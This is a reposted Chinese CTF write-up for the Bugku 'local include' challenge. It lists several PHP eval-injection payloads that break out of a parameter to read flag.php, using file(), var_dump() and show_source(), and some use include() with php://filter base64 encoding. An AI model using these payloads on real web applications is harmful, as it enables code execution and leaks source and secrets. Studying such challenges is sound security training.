我是靠谱客的博主 呆萌长颈鹿,最近开发中收集的这篇文章主要介绍bugku 本地包含 writeup,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

转载自:https://blog.csdn.net/Sanky0u/article/details/77197523

本地包含

右键查看源代码 
这里写图片描述 
搜了一下@$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。 
所以构造hello的get参数。 
$a应该最后会像字符串替换一样替换成hello的参数值吧。

<1> hello=);print_r(file("flag.php")
<2> hello=);var_dump(file("flag.php")
<3> hello=file("flag.php")
<4> hello=);include(@$_POST['b']
在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"

<6> hello=1);show_source('flag.php');var_dump(

这里写图片描述
之后将获得的flag.php的base64编码后的源码解码得到flag。 
这里写图片描述

  • eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
  • file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
  • print_r() 函数只用于输出数组。
  • var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
  • hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
  • include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。 
    php://filter/convert.base64-encode/resource=文件路径(如index.php)

最后

以上就是呆萌长颈鹿为你收集整理的bugku 本地包含 writeup的全部内容,希望文章能够帮你解决bugku 本地包含 writeup所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部